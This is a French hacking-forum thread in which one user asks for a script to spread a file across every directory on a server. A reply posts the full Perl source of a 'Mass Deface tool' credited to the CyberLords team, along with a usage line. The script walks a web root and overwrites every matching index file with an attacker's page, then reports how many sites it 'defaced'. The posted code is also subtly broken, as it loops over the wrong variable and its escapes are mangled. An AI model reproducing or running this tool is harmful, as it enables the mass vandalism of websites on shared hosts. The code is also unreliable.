Annonce

Réduire
Aucune annonce.

Script Mass Deface en Perl pour Linux

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Script Mass Deface en Perl pour Linux

    Salut à tous , alors voilà , je cherche un script qui permet d'upload un fichier dans tout les dossier ou ce trouve ce fichier et qui enregistre le nom des dossier dans un fichier .txt, en perl si possible. Vous n'aurez pas une idée ?

    Merci ^^
    Dernière modification par Geuks, 15 octobre 2011, 19h42.
    Si tu l'as fais c'est que tu peux le refaire.

  • #2
    Oui mais se que geuksounet cherche , C'est pas un script upload , mais d'un script de mass deface

    Parceque , Le script Mass deface , il remplace toute les index presente sur le server ^^

    Tien , Cadeau : D :

    Code:
    #!/usr/local/bin/perl
    
    
    
    
    
    print"############################################ ###### ############################n";
    
    print"########################## Mass Deface tool V.1.0 ############################n";
    
    print"################### -=[Written by ziGGy from CyberLords Team]=- #######################n";
    
    print"#################### CyberLords ###############################n";
    
    print"############################################ ###### ###################################n";
    
    print"Usage:n";
    
    print"perl cybl-mass.pl -d /public_html/ -f index. -n /permission_dir/index.htmln";
    
    print"Options :n";
    
    print"-d Files directoryn";
    
    print"-f File name that you want to replacen";
    
    print"-n Your new file with which you want to be replaced.n";
    
    print"############################################ ###### ###############################n";
    
    use Getopt::Std;
    
    getopts('d:f:n:', %args);
    
    if (defined($args{'d'})){
    
    $dir=$args{'d'};
    
    }
    
    else
    
    {
    
    $dir="";
    
    }
    
    if (defined($args{'f'})){
    
    $file=$args{'f'};
    
    }
    
    else
    
    {
    
    $dir="";
    
    }
    
    if (defined($args{'n'})){
    
    $newfile=$args{'n'};
    
    }
    
    else
    
    {
    
    $newfile="";
    
    }
    
    
    
    print $about;
    
    
    
    $dok="[+] Ok, The Directory is : $dir";
    
    $fok="[+] Ok, The replaceing file is : $file";
    
    $newfok="[+] Ok, The new file is : $newfile";
    
    
    
    if("$dir") {
    
    print "$dokn";
    
    sleep(1);
    
    }
    
    else
    
    {
    
    print "Error placing in the directory.";
    
    }
    
    if("$file") {
    
    print "$fokn";
    
    sleep(1);
    
    }
    
    else
    
    {
    
    print "";
    
    exit();
    
    }
    
    if("$newfile") {
    
    print "$newfokn";
    
    sleep(1);
    
    }
    
    else
    
    {
    
    print "";
    
    exit();
    
    }
    
    
    
    
    
    printf "[+] Searching archive['s]n";
    
    my @exch;
    
    find($dir, sub { push(@exch, $_[0]) if ($_[0] =~ /$file/i) });
    
    my $kol = scalar(@exch);
    
    
    
    if($kol<=0) {
    
    print "[-] Something isn't good and an error acurred.n";
    
    exit();
    
    }
    
    
    
    printf "[+] Ok, $kol Files found...n";
    
    sleep(1);
    
    printf "[+] Replacing the files.n";
    
    open(NEW, "< $newfile");
    
    foreach $files(@troca)
    
    {
    
    open(FILE, "> $files");
    
    while (<NEW>) {
    
    print FILE $_;
    
    }
    
    close(FILE);
    
    seek(NEW, 0, 0);
    
    }
    
    close(NEW);
    
    sleep(1);
    
    printf "[+] Replacing the files succesfull!n";
    
    sleep(1);
    
    printf "[+] In total you defaced: $kol sites!n";
    
    sub find {
    
    my ($path, $callback) = @_;
    
    $path = '/' unless $path;
    
    $path =~ s/^/+///;
    
    $path =~ s//$//;
    
    my @files = list_dir($path);
    
    my @dirs;
    
    foreach my $file (@files) {
    
    my $filepath = $path.'/'.$file;
    
    &{$callback}($filepath);
    
    push(@dirs, $filepath) if (-d $filepath);
    
    }
    
    undef(@files);
    
    map { find($_, $callback) } @dirs;
    
    return(1);
    
    }
    
    sub list_dir {
    
    my ($dir, $dont_list_subdirs) = @_;
    
    opendir(DIR, $dir) || return();
    
    my @files = readdir(DIR);
    
    closedir(DIR);
    
    @files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
    
    my @files = grep { $_ !~ /^(.){1,2}$/ } @files;
    
    return(@files);
    
    }
    Utilisation :

    perl mass.pl -d /public_html/ -f index. -n /permission_dir/index.html

    Voila ^^
    Dernière modification par comaX, 17 janvier 2012, 15h45.

    Commentaire

    Chargement...
    X